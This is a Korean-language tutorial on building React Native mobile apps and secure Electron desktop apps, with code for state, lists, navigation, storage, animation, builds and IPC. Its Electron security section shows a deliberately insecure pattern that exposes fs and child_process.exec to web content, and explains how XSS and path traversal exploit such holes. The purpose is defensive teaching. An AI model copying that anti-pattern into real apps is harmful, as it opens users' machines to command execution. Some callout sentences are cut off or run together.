import { persist, createJSONStorage } from "zustand/middleware";
import AsyncStorage from "@react-native-async-storage/async-storage";
type AuthState = {
user: User | null;
login: (u: User) => void;
logout: () => void;
};
export const useAuth = create<AuthState>()(
persist(
(set) => ({
user: null,
login: (user) => set({ user }),
logout: () => set({ user: null }),
}),
{
name: "auth",
storage: createJSONStorage(() => AsyncStorage),
partialize: (s) => ({ user: s.user }), // ★ 저장할 것만
},
),
);
// 사용 — ★ 필요한 조각만 구독해야 불필요한 리렌더가 없습니다
const user = useAuth(s => s.user);
const logout = useAuth(s => s.logout);
// ❌ 전체를 구독하면 아무 값이나 바뀔 때마다 리렌더됩니다
const { user, logout } = useAuth();
스타일 · Flexbox
웹 CSS 와 비슷하지만 기본값이 다릅니다.
웹 CSS 와 다른 점
· 기본 flexDirection 이 column (웹은 row)
· 모든 View 가 이미 display:flex
· 단위가 없습니다 — 숫자는 dp (밀도 독립 픽셀)
· 상속이 없습니다 — 부모의 fontSize 가 자식에 안 내려감
(단, Text 안의 Text 는 예외)
· 축약형이 제한적 — margin: "0 auto" 같은 문자열 불가
· % 는 일부만 지원, calc() 없음
· position: fixed 없음 (absolute 만)
· z-index 대신 렌더 순서 + elevation(안드로이드)
const styles = StyleSheet.create({
container: {
flex: 1, // ★ 남은 공간 다 쓰기
flexDirection: "row",
justifyContent: "space-between",// 주축 정렬
alignItems: "center", // 교차축 정렬
gap: 12, // 0.71+ 지원
padding: 16,
},
card: {
flex: 1, // 형제끼리 균등 분할
aspectRatio: 16 / 9, // 비율 고정
borderRadius: 12,
overflow: "hidden", // ★ iOS 는 이게 있어야 자식이 잘림
},
// 그림자는 플랫폼마다 다릅니다
shadow: Platform.select({
ios: { shadowColor: "#000", shadowOffset: { width: 0, height: 2 },
shadowOpacity: 0.1, shadowRadius: 8 },
android: { elevation: 4 },
}),
});
화면 크기 대응
import { useWindowDimensions } from "react-native";
import { useSafeAreaInsets } from "react-native-safe-area-context";
function Screen() {
const { width, height } = useWindowDimensions(); // ★ 회전에 반응
const insets = useSafeAreaInsets(); // 노치·홈바 여백
const isTablet = width >= 768;
return (
<View style={{ paddingTop: insets.top, paddingBottom: insets.bottom }}>
<View style={{ width: isTablet ? "50%" : "100%" }} />
</View>
);
}
// ❌ Dimensions.get("window") 는 회전 시 갱신되지 않습니다
키보드 대응 — 실무 필수
<KeyboardAvoidingView
behavior={Platform.OS === "ios" ? "padding" : "height"}
keyboardVerticalOffset={headerHeight}
style={{ flex: 1 }}
>
<ScrollView keyboardShouldPersistTaps="handled">
<TextInput ... />
</ScrollView>
</KeyboardAvoidingView>
// ★ keyboardShouldPersistTaps="handled" 가 없으면
// 키보드가 열린 상태에서 버튼을 한 번에 못 누릅니다 (첫 탭은 닫기만)
NativeWind 를 검토하세요.
className="flex-1 p-4 bg-white" 처럼 쓸 수 있고,
웹과 스타일 규칙을 공유할 수 있습니다.
다만 빌드 설정이 추가되므로 팀이 익숙한 쪽을 고르세요.
리스트 — FlatList
앱 성능 문제의 절반이 여기서 나옵니다.
ScrollView 를 쓰면 안 되는 이유
ScrollView — 자식을 "전부" 렌더링하고 메모리에 유지
FlatList — 화면에 보이는 것 + 약간의 여유분만 (가상화)
항목 1,000개일 때
ScrollView → 1,000개 컴포넌트 생성 → 수 초간 멈춤 → 메모리 폭발
FlatList → 약 15개만 → 즉시 렌더링
기준: 항목이 20개를 넘거나 개수를 모르면 → FlatList
<FlatList
data={orders}
keyExtractor={(item) => item.id} // ★ 안정적인 고유 키
renderItem={({ item }) => <OrderRow order={item} />}
// 성능 옵션
initialNumToRender={10}
maxToRenderPerBatch={10}
windowSize={5} // 화면 단위 (기본 21)
removeClippedSubviews // 안드로이드에서 효과 큼
// 높이가 고정이면 ★ 이게 가장 큰 최적화입니다
getItemLayout={(_, index) => ({
length: ROW_HEIGHT, offset: ROW_HEIGHT * index, index,
})}
// 무한 스크롤
onEndReached={fetchNextPage}
onEndReachedThreshold={0.5}
ListFooterComponent={isFetching ? <ActivityIndicator /> : null}
// 당겨서 새로고침
refreshControl={<RefreshControl refreshing={isRefetching} onRefresh={refetch} />}
// 빈 상태 · 구분선
ListEmptyComponent={<Empty message="주문이 없습니다" />}
ItemSeparatorComponent={() => <View style={styles.sep} />}
/>
항목 컴포넌트 최적화
// ★ memo 로 감싸야 스크롤 시 재렌더가 줄어듭니다
const OrderRow = memo(function OrderRow({ order }: { order: Order }) {
return (
<View style={styles.row}>
<Text>{order.title}</Text>
</View>
);
});
// ❌ 인라인 함수 — 매 렌더마다 새 함수 → memo 가 무의미해짐
<FlatList renderItem={({ item }) => <Row onPress={() => go(item.id)} />} />
// ✅ 밖으로 빼고 useCallback
const renderItem = useCallback(
({ item }: { item: Order }) => <OrderRow order={item} onPress={onPress} />,
[onPress],
);
estimatedItemSize 도 필요 없습니다.
항목이 수천 개거나 복잡한 카드라면 체감 차이가 큽니다.
import { FlashList } from "@shopify/flash-list";
<FlashList
data={orders}
renderItem={({ item }) => <OrderRow order={item} />}
/>
keyExtractor={(_, i) => String(i)} 는
목록이 정렬·삭제될 때 엉뚱한 항목이 재사용되어
입력값이 뒤섞이는 버그를 만듭니다.
내비게이션
화면 이동. Expo Router(파일 기반)와 React Navigation(코드 기반) 중 선택합니다.
Expo Router — 파일이 곧 경로
// app/_layout.tsx — 루트 스택
import { Stack } from "expo-router";
export default function RootLayout() {
return (
<Stack screenOptions={{ headerShown: true }}>
<Stack.Screen name="(tabs)" options={{ headerShown: false }} />
<Stack.Screen name="orders/[id]" options={{ title: "주문 상세" }} />
<Stack.Screen name="login" options={{ presentation: "modal" }} />
</Stack>
);
}
// app/(tabs)/_layout.tsx — 탭
import { Tabs } from "expo-router";
<Tabs>
<Tabs.Screen name="home" options={{ title: "홈",
tabBarIcon: ({ color }) => <Icon name="home" color={color} /> }} />
<Tabs.Screen name="profile" options={{ title: "내 정보" }} />
</Tabs>
// 이동하기
import { router, useLocalSearchParams, Link } from "expo-router";
router.push("/orders/123");
router.replace("/login"); // 뒤로가기 스택에서 교체
router.back();
<Link href="/orders/123" asChild><Pressable>...</Pressable></Link>
// 파라미터 받기 — app/orders/[id].tsx
const { id } = useLocalSearchParams<{ id: string }>();
인증 흐름 — 실무 패턴
// app/_layout.tsx
export default function RootLayout() {
const { user, isLoading } = useAuth();
const segments = useSegments();
const router = useRouter();
useEffect(() => {
if (isLoading) return;
const inAuthGroup = segments[0] === "(auth)";
if (!user && !inAuthGroup) router.replace("/(auth)/login");
else if (user && inAuthGroup) router.replace("/(tabs)/home");
}, [user, segments, isLoading]);
if (isLoading) return <SplashScreen />; // ★ 깜빡임 방지
return <Stack />;
}
딥링크 · 뒤로가기
// app.json 의 scheme 으로 myapp://orders/123 이 동작합니다
// 웹 링크(Universal Link)는 별도 설정 필요
// 안드로이드 하드웨어 뒤로가기 제어
useEffect(() => {
const sub = BackHandler.addEventListener("hardwareBackPress", () => {
if (hasUnsavedChanges) { confirmExit(); return true; } // 기본 동작 막기
return false;
});
return () => sub.remove();
}, [hasUnsavedChanges]);
InteractionManager.runAfterInteractions 로
전환이 끝난 뒤에 시작하거나, 스켈레톤 UI 를 먼저 보여 주세요.
네트워크 · TanStack Query
서버 데이터를 useState 로 관리하는 코드를 전부 지울 수 있습니다.
직접 관리하면 이렇게 됩니다
수동 — 챙길 게 너무 많음
const [data, setData] = useState();
const [loading, setLoading] =
useState(false);
const [error, setError] = useState();
useEffect(() => {
let cancelled = false;
setLoading(true);
fetchOrders()
.then(d => !cancelled && setData(d))
.catch(e => !cancelled && setError(e))
.finally(() => setLoading(false));
return () => { cancelled = true; };
}, []);
// 캐시·재시도·중복요청·
// 화면 복귀 갱신은? 전부 직접
TanStack Query
const { data, isLoading, error }
= useQuery({
queryKey: ["orders"],
queryFn: fetchOrders,
});
// 캐시 · 중복 제거 · 재시도 ·
// 백그라운드 갱신 · 취소
// 전부 포함 ★
npm i @tanstack/react-queryconst client = new QueryClient({
defaultOptions: {
queries: {
staleTime: 60_000, // 1분간은 캐시를 신선하다고 봄
gcTime: 5 * 60_000,
retry: 2,
refetchOnWindowFocus: false, // RN 에서는 AppState 로 대체
},
},
});
<QueryClientProvider client={client}><App /></QueryClientProvider>
실무 사용
// 무한 스크롤
const { data, fetchNextPage, hasNextPage } = useInfiniteQuery({
queryKey: ["orders", filter],
queryFn: ({ pageParam }) => api.getOrders({ cursor: pageParam, ...filter }),
initialPageParam: null,
getNextPageParam: (last) => last.nextCursor ?? undefined,
});
const items = data?.pages.flatMap(p => p.items) ?? [];
// 변경 + 낙관적 업데이트 (즉시 반영 후 실패 시 되돌리기)
const { mutate } = useMutation({
mutationFn: api.toggleLike,
onMutate: async (id) => {
await qc.cancelQueries({ queryKey: ["orders"] });
const prev = qc.getQueryData(["orders"]);
qc.setQueryData(["orders"], (old) => toggle(old, id)); // ★ 즉시 반영
return { prev };
},
onError: (_e, _v, ctx) => qc.setQueryData(["orders"], ctx.prev), // 롤백
onSettled: () => qc.invalidateQueries({ queryKey: ["orders"] }),
});
// 모바일 특화 — 네트워크·앱 상태 연동
import { onlineManager, focusManager } from "@tanstack/react-query";
import NetInfo from "@react-native-community/netinfo";
onlineManager.setEventListener((setOnline) =>
NetInfo.addEventListener((state) => setOnline(!!state.isConnected)));
AppState.addEventListener("change", (s) =>
focusManager.setFocused(s === "active")); // ★ 앱 복귀 시 자동 갱신
AbortSignal.timeout),
② 오프라인 상태를 화면에 표시하고,
③ 실패해도 캐시된 데이터를 계속 보여 주세요.
“로딩 스피너만 무한히 도는 화면”이 가장 나쁜 경험입니다.
로컬 저장소
저장할 것의 성격에 따라 도구가 다릅니다.
무엇을 어디에
| 저장소 | 용도 |
|---|---|
| AsyncStorage | 간단한 설정·플래그. 비동기, 문자열만 |
| MMKV | 같은 용도인데 훨씬 빠르고 동기. 요즘 선호 |
| SecureStore (Keychain/Keystore) | ★ 토큰·비밀번호. 암호화되어 저장 |
| SQLite (expo-sqlite) | 구조화된 대량 데이터·오프라인 우선 앱 |
| FileSystem | 이미지·다운로드 파일 |
// MMKV — 동기라 코드가 단순해집니다
import { MMKV } from "react-native-mmkv";
export const storage = new MMKV({ id: "app", encryptionKey: "..." });
storage.set("theme", "dark");
storage.getString("theme"); // 동기 ★
storage.set("onboarded", true);
storage.getBoolean("onboarded");
storage.delete("theme");
// 토큰은 반드시 SecureStore
import * as SecureStore from "expo-secure-store";
await SecureStore.setItemAsync("refreshToken", token);
const token = await SecureStore.getItemAsync("refreshToken");
await SecureStore.deleteItemAsync("refreshToken");
오프라인 지원
// TanStack Query 캐시를 디스크에 저장 → 오프라인에서도 마지막 데이터 표시
import { persistQueryClient } from "@tanstack/react-query-persist-client";
import { createSyncStoragePersister } from "@tanstack/query-sync-storage-persister";
persistQueryClient({
queryClient,
persister: createSyncStoragePersister({
storage: {
getItem: (k) => storage.getString(k) ?? null,
setItem: (k, v) => storage.set(k, v),
removeItem: (k) => storage.delete(k),
},
}),
maxAge: 24 * 60 * 60 * 1000,
});
// 오프라인에서 한 작업을 나중에 전송 (큐)
type PendingAction = { id: string; type: string; payload: unknown };
async function enqueue(action: PendingAction) {
const q = JSON.parse(storage.getString("queue") ?? "[]");
storage.set("queue", JSON.stringify([...q, action]));
}
// 온라인이 되면 순서대로 전송 — ★ 서버가 멱등해야 안전합니다
NetInfo.addEventListener(async (s) => {
if (!s.isConnected) return;
const q: PendingAction[] = JSON.parse(storage.getString("queue") ?? "[]");
for (const a of q) await api.send(a); // 실패하면 남겨 두기
storage.set("queue", "[]");
});
네이티브 기능 · 권한
카메라·위치·알림. 권한 거부 상황을 반드시 설계하세요.
권한 요청 패턴
import * as ImagePicker from "expo-image-picker";
async function pickImage() {
const { status, canAskAgain } =
await ImagePicker.requestMediaLibraryPermissionsAsync();
if (status !== "granted") {
if (!canAskAgain) {
// ★ "다시 묻지 않음"을 누른 상태 — 설정 앱으로 보내야 합니다
Alert.alert("사진 권한 필요",
"설정에서 사진 접근을 허용해 주세요",
[{ text: "취소" },
{ text: "설정 열기", onPress: () => Linking.openSettings() }]);
}
return;
}
const result = await ImagePicker.launchImageLibraryAsync({
mediaTypes: ["images"],
quality: 0.7, // ★ 원본은 너무 큽니다
allowsEditing: true,
});
if (!result.canceled) setImage(result.assets[0].uri);
}
// app.json — 권한 설명 문구 (iOS 는 없으면 심사 반려)
{
"ios": {
"infoPlist": {
"NSCameraUsageDescription": "프로필 사진 촬영에 사용합니다",
"NSPhotoLibraryUsageDescription": "사진 첨부에 사용합니다",
"NSLocationWhenInUseUsageDescription": "주변 매장을 찾는 데 사용합니다"
}
},
"android": {
"permissions": ["CAMERA", "ACCESS_FINE_LOCATION"]
}
}
푸시 알림
import * as Notifications from "expo-notifications";
// ① 권한 + 토큰 발급
const { status } = await Notifications.requestPermissionsAsync();
if (status !== "granted") return;
const token = (await Notifications.getExpoPushTokenAsync({
projectId: Constants.expoConfig?.extra?.eas?.projectId,
})).data;
await api.registerPushToken(token); // ★ 서버에 저장
// ② 안드로이드는 채널이 필요합니다
if (Platform.OS === "android") {
await Notifications.setNotificationChannelAsync("default", {
name: "기본", importance: Notifications.AndroidImportance.HIGH,
});
}
// ③ 수신 처리
Notifications.setNotificationHandler({
handleNotification: async () => ({
shouldShowBanner: true, shouldPlaySound: true, shouldSetBadge: true,
}),
});
// ④ 알림 탭 → 해당 화면으로 (딥링크)
Notifications.addNotificationResponseReceivedListener((res) => {
const { orderId } = res.notification.request.content.data;
if (orderId) router.push(`/orders/${orderId}`);
});
자주 쓰는 네이티브 모듈
| 기능 | 패키지 |
|---|---|
| 카메라·갤러리 | expo-image-picker · expo-camera |
| 위치 | expo-location |
| 생체 인증 | expo-local-authentication |
| 파일 · 공유 | expo-file-system · expo-sharing |
| 웹뷰 | react-native-webview |
| 지도 | react-native-maps |
| 인앱 결제 | react-native-iap · RevenueCat |
애니메이션 · 제스처
60fps 의 비결은 하나입니다 — JS 스레드를 거치지 않는 것.
왜 Reanimated 인가
[내장 Animated] JS 스레드에서 값 계산 → 네이티브로 전달
→ JS 가 바쁘면 애니메이션이 끊깁니다
→ useNativeDriver: true 로 일부만 개선 가능
(transform·opacity 만 지원, width·색상 불가)
[Reanimated] worklet 이 UI 스레드에서 직접 실행
→ JS 스레드가 아무리 바빠도 60fps 유지 ★
→ 모든 속성 애니메이션 가능
npx expo install react-native-reanimated react-native-gesture-handlerimport Animated, {
useSharedValue, useAnimatedStyle, withSpring, withTiming,
} from "react-native-reanimated";
function Box() {
const offset = useSharedValue(0); // ★ UI 스레드에 사는 값
const style = useAnimatedStyle(() => ({
transform: [{ translateX: offset.value }],
})); // ★ 이 함수는 UI 스레드에서 실행됩니다
return (
<>
<Animated.View style={[styles.box, style]} />
<Button title="이동" onPress={() => {
offset.value = withSpring(100, { damping: 15 });
}} />
</>
);
}
제스처 — 스와이프 삭제
import { Gesture, GestureDetector } from "react-native-gesture-handler";
import { runOnJS } from "react-native-reanimated";
function SwipeRow({ onDelete }: { onDelete: () => void }) {
const x = useSharedValue(0);
const pan = Gesture.Pan()
.onUpdate((e) => { x.value = Math.min(0, e.translationX); })
.onEnd(() => {
if (x.value < -120) {
x.value = withTiming(-400);
runOnJS(onDelete)(); // ★ UI 스레드 → JS 함수 호출
} else {
x.value = withSpring(0);
}
});
const style = useAnimatedStyle(() => ({ transform: [{ translateX: x.value }] }));
return (
<GestureDetector gesture={pan}>
<Animated.View style={style}>{/* 내용 */}</Animated.View>
</GestureDetector>
);
}
setState·console.log·API 호출은 모두
runOnJS(fn)() 로 감싸야 합니다.
반대로 JS 쪽에서 UI 스레드의 worklet 을 실행하려면 runOnUI(fn)() 를 쓰고,
shared value 값 자체는 JS 에서 .value 로 바로 읽습니다.
레이아웃 애니메이션 — 가장 쉬운 방법
import Animated, {
FadeIn, FadeOut, LinearTransition,
} from "react-native-reanimated";
// ★ 예전 이름이던 Layout 은 폐기됐습니다 → LinearTransition 을 쓰세요
// 나타나고 사라질 때 자동으로 애니메이션
<Animated.View entering={FadeIn.duration(200)} exiting={FadeOut}
layout={LinearTransition.springify()}>
<Text>{item.title}</Text>
</Animated.View>
// ★ 코드 한 줄로 목록 추가·삭제 애니메이션이 붙습니다
// 리스트 항목이 자리를 옮길 때(정렬·필터·삭제)도 한 줄이면 됩니다
<Animated.FlatList
data={items}
keyExtractor={(it) => it.id}
itemLayoutAnimation={LinearTransition}
renderItem={({ item }) => <Row item={item} />}
/>
useReducedMotion() 으로 끄는 처리도 넣어 두세요.
성능 최적화
“앱이 버벅인다”의 원인은 거의 정해져 있습니다.
원인 대조표
| 증상 | 원인 |
|---|---|
| 스크롤이 끊김 | ScrollView 사용 · memo 없음 · 큰 이미지 (r06) |
| 화면 전환이 느림 | 전환 중 무거운 렌더 · 데이터 조회 (r07) |
| 입력이 한 박자 늦음 | 매 글자마다 리렌더 · 무거운 검증 |
| 앱 시작이 느림 | 번들 크기 · 초기 로딩 작업 과다 |
| 메모리 증가 | 리스너·타이머 미정리 · 이미지 캐시 |
// ① 리렌더 줄이기
const Row = memo(RowComponent); // 자식 메모
const handler = useCallback(() => {}, []); // 함수 고정
const value = useMemo(() => compute(data), [data]); // 계산 캐시
// ② 입력은 로컬 상태로 두고, 무거운 갱신은 뒤로 미룹니다
const [text, setText] = useState("");
const deferredText = useDeferredValue(text);
// ★ 디바운스가 아닙니다 — "정해진 시간만큼 기다렸다 한 번"이 아니라
// 입력 렌더를 먼저 처리하고 이 값을 쓰는 렌더를 "낮은 우선순위"로 돌립니다.
// 입력이 계속되면 뒤 렌더는 중단(재시작)되고, 한가해지면 따라잡습니다.
useEffect(() => { search(deferredText); }, [deferredText]);
// ③ 이미지 — expo-image 로 (캐시·placeholder 내장)
import { Image } from "expo-image";
<Image source={{ uri }} style={{ width: 100, height: 100 }}
contentFit="cover" transition={200}
cachePolicy="memory-disk" />
// ④ 무거운 계산은 전환 이후로
InteractionManager.runAfterInteractions(() => heavyWork());
측정하기
# 개발 메뉴 (실기기 흔들기 · 시뮬레이터 Cmd+D)
Perf Monitor # JS·UI 스레드 FPS 확인 ★
# UI FPS 는 높은데 JS FPS 가 낮다 → JS 스레드가 원인
# React DevTools Profiler — 어느 컴포넌트가 자주 렌더되는지
npx react-devtools
# 번들 크기 분석
npx expo export && npx source-map-explorer dist/**/*.js
# Hermes 프로파일러 (실제 함수별 시간)
# 개발 메뉴 → Enable Sampling Profiler
시작 속도 개선
- Hermes 사용 확인 (기본값이지만 확인해 두세요)
- 초기 화면에 필요 없는 모듈은 지연 import
- 스플래시 화면을 준비될 때까지 유지 (
SplashScreen.preventAutoHideAsync) - 큰 JSON·폰트는 필요할 때 로딩
- 앱 시작 시 API 를 여러 개 동시에(Promise.all) — 순차 호출 금지
react-native-reanimated 를
import 하기만 해도 메모리가 25~30% 늘어나는 회귀가 보고됐습니다
(Hermes 쪽 변경이 원인). 애니메이션을 쓰지 않아도 발생합니다.
저사양 기기에서 강제 종료가 늘었다면
① 해당 화면에서 실제로 Reanimated 가 필요한지,
② 패치 버전으로 올려 해결됐는지를 먼저 확인하세요.
네이티브 모듈 만들기
라이브러리에 없는 기능은 직접 다리를 놓습니다. 전문가 영역입니다.
언제 필요한가
- 사내 SDK(결제·인증·보안 솔루션)를 연동해야 할 때
- 기존 네이티브 앱의 일부만 RN 으로 교체할 때
- 블루투스·NFC·특수 하드웨어처럼 패키지가 없는 기능
- 성능 때문에 C++ 로 처리해야 할 때
# Expo 모듈로 만들기 (가장 편합니다)
npx create-expo-module my-native-module
# 로컬 모듈 (앱 안에서만 쓸 때)
npx create-expo-module --local my-module
// android/src/main/java/.../MyModule.kt
class MyModule : Module() {
override fun definition() = ModuleDefinition {
Name("MyModule")
Function("getDeviceName") {
return@Function Build.MODEL // 동기 함수
}
AsyncFunction("readSensor") { promise: Promise ->
// 오래 걸리는 작업
promise.resolve(mapOf("value" to 42))
}
Events("onSensorChange") // 이벤트 발행
}
}
Swift 쪽과 JS 쪽
// ios/MyModule.swift
public class MyModule: Module {
public func definition() -> ModuleDefinition {
Name("MyModule")
Function("getDeviceName") { () -> String in
UIDevice.current.model
}
AsyncFunction("readSensor") { () -> [String: Any] in
["value": 42]
}
}
}
// src/index.ts — JS 쪽 타입 정의
import { requireNativeModule } from "expo-modules-core";
declare class MyModuleType {
getDeviceName(): string;
readSensor(): Promise<{ value: number }>;
}
export default requireNativeModule<MyModuleType>("MyModule");
// 사용
import MyModule from "my-native-module";
const name = MyModule.getDeviceName();
const { value } = await MyModule.readSensor();
npx expo run:ios / eas build --profile development)를
만들어야 합니다. 이 시점부터 맥·Xcode·Android Studio 가 필요해지므로
팀 전체의 개발 환경 비용이 올라갑니다 — 도입 전에 고려하세요.
빌드 · 스토어 배포
코드보다 이 과정에서 시간을 더 씁니다. 미리 알아 두면 크게 아낍니다.
EAS 빌드
// eas.json
{
"build": {
"development": {
"developmentClient": true,
"distribution": "internal" // 팀 내부 배포
},
"preview": {
"distribution": "internal",
"android": { "buildType": "apk" } // 설치 파일로 바로 공유
},
"production": {
"autoIncrement": true, // ★ 빌드 번호 자동 증가
"env": { "API_URL": "https://api.example.com" }
}
},
"submit": { "production": { ... } }
}
eas build --profile production --platform all
eas submit --platform ios # App Store Connect 로 업로드
eas submit --platform android
# OTA 업데이트 — ★ JS 만 바뀌었다면 심사 없이 즉시 반영
eas update --branch production --message "버그 수정"
심사에서 자주 반려되는 이유
- 권한 설명 문구 누락·불충분 — “왜 필요한지” 구체적으로 (r10)
- 테스트 계정 미제공 — 로그인이 필요한 앱은 심사자용 계정 필수
- 결제 우회 — 디지털 재화를 외부 결제로 유도하면 즉시 반려
- 계정 삭제 기능 없음 — 회원가입이 있으면 앱 내 삭제가 의무입니다
- 크래시 — 심사자 기기에서 죽으면 바로 반려
- 개인정보 처리방침 URL 누락
- 미완성 기능·플레이스홀더 화면
출시 체크리스트
☐ 릴리스 빌드에서 전체 흐름 테스트
☐ 크래시 리포팅 연동 (Sentry)
☐ 저사양 안드로이드에서 확인
☐ 다크 모드 · 큰 글씨 설정에서 깨지지 않는지
☐ 오프라인·느린 네트워크에서 동작
☐ 딥링크 · 푸시 알림 동작
☐ 앱 아이콘 · 스플래시 · 스크린샷 준비
☐ 버전·빌드 번호 증가
☐ API 주소가 운영으로 되어 있는지 ★
☐ 콘솔 로그·디버그 코드 제거
웹 기술로
만드는
사내 도구
VS Code · Slack · Discord 가 전부 Electron 입니다.
웹 화면 + Node 의 파일·프로세스 권한을 합친 구조라,
사내 업무 도구를 만들 때 압도적으로 빠릅니다.
대신 보안 설정을 틀리면 사용자 PC 가 통째로 열립니다.
여기까지 마치면 보안 설정과 자동 업데이트를 갖춘 사내 배포용 데스크탑 앱을 완성할 수 있습니다.
C++·Rust 네이티브 확장, 음성 채팅, 화면 공유, OSR·GPU 같은 상용 앱 수준의 기술은
⚙️ 네이티브 · 미디어 탭에서 이어집니다.
메인 · 렌더러 구조
이 구분 하나만 이해하면 Electron 의 80%는 끝납니다.
두 개의 세계
fs·child_process 를 쓸 수 있습니다.프로젝트 구조
my-app/
src/
main/ ★ Node 환경
index.ts 앱 시작 · 창 생성
ipc/ IPC 핸들러 (기능별로 분리)
file.handler.ts
db.handler.ts
services/ 실제 로직
windows/ 창 관리
preload/
index.ts ★ contextBridge 로 API 노출
renderer/ ★ 브라우저 환경 (React 등)
App.tsx
index.html
electron-builder.yml 패키징 설정
package.json
# 요즘 표준 템플릿 (Vite 기반 — HMR 이 됩니다)
npm create @quick-start/electron@latest
# 또는
npx create-electron-vite
# 옛 방식(electron-forge + webpack)보다 빌드가 훨씬 빠릅니다
node: 모듈이 있나”는 내장 Node 버전이 결정합니다 —
내 PC 에 설치된 Node 버전과는 무관합니다.
Electron 은 Chromium 을 따라 8주마다 메이저가 올라가므로,
보안 패치를 받으려면 정기적으로 올리는 것을 전제로 개발하세요.
첫 창 띄우기
최소 코드와 운영에 필요한 설정을 함께 봅니다.
메인 프로세스
import { app, BrowserWindow, shell } from "electron";
import path from "node:path";
let mainWindow: BrowserWindow | null = null;
function createWindow() {
mainWindow = new BrowserWindow({
width: 1200, height: 800,
minWidth: 940, minHeight: 600,
show: false, // ★ 준비될 때까지 숨김
titleBarStyle: process.platform === "darwin" ? "hiddenInset" : "default",
webPreferences: {
preload: path.join(__dirname, "../preload/index.js"),
contextIsolation: true, // ★ 반드시 true (e04)
nodeIntegration: false, // ★ 반드시 false
sandbox: true,
},
});
// ★ 흰 화면 깜빡임 방지
mainWindow.once("ready-to-show", () => mainWindow?.show());
// 외부 링크는 기본 브라우저로 (앱 안에서 열면 보안 위험)
mainWindow.webContents.setWindowOpenHandler(({ url }) => {
shell.openExternal(url);
return { action: "deny" };
});
if (process.env.NODE_ENV === "development") {
mainWindow.loadURL("http://localhost:5173");
mainWindow.webContents.openDevTools();
} else {
mainWindow.loadFile(path.join(__dirname, "../renderer/index.html"));
}
}
앱 생명주기 — OS 마다 다릅니다
app.whenReady().then(() => {
createWindow();
// ★ macOS — 독 아이콘 클릭 시 창이 없으면 다시 만듭니다
app.on("activate", () => {
if (BrowserWindow.getAllWindows().length === 0) createWindow();
});
});
// ★ macOS 는 창을 닫아도 앱이 살아 있는 것이 관례입니다
app.on("window-all-closed", () => {
if (process.platform !== "darwin") app.quit();
});
// 단일 인스턴스 — 두 번 실행되지 않게 (거의 항상 필요합니다)
if (!app.requestSingleInstanceLock()) {
app.quit();
} else {
app.on("second-instance", () => {
if (mainWindow) {
if (mainWindow.isMinimized()) mainWindow.restore();
mainWindow.focus();
}
});
}
// 종료 전 정리
app.on("before-quit", async (e) => {
if (hasUnsavedWork) {
e.preventDefault();
const ok = await confirmQuit();
if (ok) { hasUnsavedWork = false; app.quit(); }
}
});
electron-window-state 라이브러리 한 줄이면 해결됩니다.
IPC 통신
화면과 메인이 대화하는 유일한 통로입니다.
요청-응답 (가장 많이 씁니다)
// ① 메인 — 핸들러 등록
import { ipcMain, dialog } from "electron";
ipcMain.handle("file:read", async (event, filePath: string) => {
// ★ 반드시 검증하세요 (e04)
const safe = path.resolve(DATA_DIR, filePath);
if (!safe.startsWith(path.resolve(DATA_DIR) + path.sep)) {
throw new Error("잘못된 경로입니다");
}
return fs.readFile(safe, "utf8");
});
ipcMain.handle("dialog:openFile", async () => {
const { canceled, filePaths } = await dialog.showOpenDialog({
properties: ["openFile"],
filters: [{ name: "엑셀", extensions: ["xlsx", "csv"] }],
});
return canceled ? null : filePaths[0];
});
// ② 프리로드 — 화면에 노출할 API 만 정의
import { contextBridge, ipcRenderer } from "electron";
const api = {
readFile: (p: string) => ipcRenderer.invoke("file:read", p),
openFile: () => ipcRenderer.invoke("dialog:openFile"),
};
contextBridge.exposeInMainWorld("api", api);
export type Api = typeof api; // ★ 타입을 렌더러에서 재사용
// ③ 렌더러 — 그냥 함수처럼 씁니다
const path = await window.api.openFile();
if (path) {
const text = await window.api.readFile(path);
}
메인 → 렌더러 (진행률·알림)
// 메인에서 보내기
mainWindow.webContents.send("job:progress", { done: 30, total: 100 });
// 프리로드 — 구독 API 를 만들어 줍니다
const api = {
onProgress: (cb: (p: Progress) => void) => {
const listener = (_e: unknown, p: Progress) => cb(p);
ipcRenderer.on("job:progress", listener);
return () => ipcRenderer.off("job:progress", listener); // ★ 해제 함수 반환
},
};
// 렌더러 (React)
useEffect(() => {
const off = window.api.onProgress(setProgress);
return off; // ★ 언마운트 시 해제 (누수 방지)
}, []);
타입 안전하게 쓰기
// renderer/global.d.ts
import type { Api } from "../preload";
declare global {
interface Window { api: Api; } // ★ 자동완성이 됩니다
}
export {};
고빈도·대용량이 불가피하다면 MessagePort·공유 메모리로 내려갑니다 (⚙️ 네이티브 v03).
preload · 보안
이 절을 대충 넘기면 사용자 PC 를 공격자에게 내주게 됩니다.
왜 위험한가
nodeIntegration: true 로 두면
화면(웹 페이지)에서 require("child_process") 가 됩니다.
→ 표시하는 콘텐츠에 XSS 가 하나라도 있으면
→ 공격자가 사용자 PC 에서 "무슨 명령이든" 실행합니다
위험이 들어오는 경로
· 외부 웹사이트를 iframe·webview 로 표시
· 서버에서 받은 HTML 을 innerHTML 로 넣기
· 사용자가 입력한 마크다운 렌더링
· 취약한 npm 패키지 (🧬 전문가 d13)
// ★ 안전한 기본 설정 — 이대로 두세요
webPreferences: {
contextIsolation: true, // 프리로드와 페이지의 컨텍스트 분리
nodeIntegration: false, // 페이지에서 Node 사용 불가
sandbox: true, // 렌더러를 샌드박스에
webSecurity: true, // ★ 개발 편의로도 끄지 마세요
allowRunningInsecureContent: false,
preload: path.join(__dirname, "preload.js"),
}
nodeIntegration: true 를 권하는 글이 많습니다.
대부분 오래된 튜토리얼입니다.
지금은 contextBridge 로 필요한 기능만 노출하는 것이 유일한 정답입니다.
안전한 API 노출
❌ 통째로 노출
contextBridge
.exposeInMainWorld("api", {
fs: require("fs"),
exec: require("child_process")
.exec,
ipc: ipcRenderer, // 무엇이든
}); // 호출 가능
✅ 기능 단위로
contextBridge
.exposeInMainWorld("api", {
readConfig: () =>
ipcRenderer.invoke("config:read"),
saveReport: (data) =>
ipcRenderer.invoke("report:save",
data),
}); // 정해진 동작만
// 메인 쪽에서도 반드시 검증합니다 (프리로드는 우회될 수 있습니다)
ipcMain.handle("report:save", async (event, data: unknown) => {
// ① 발신자 확인
if (event.senderFrame?.url !== expectedUrl) throw new Error("거부");
// ② 입력 검증 (Zod)
const parsed = ReportSchema.parse(data);
// ③ 경로·권한 검증
const docs = path.resolve(app.getPath("documents"));
const target = path.resolve(docs, parsed.filename);
// ★ + path.sep 까지 붙여 비교 — 없으면 "Documents-evil\x" 같은 형제 폴더가 통과합니다
if (!target.startsWith(docs + path.sep)) throw new Error("거부");
await fs.writeFile(target, JSON.stringify(parsed));
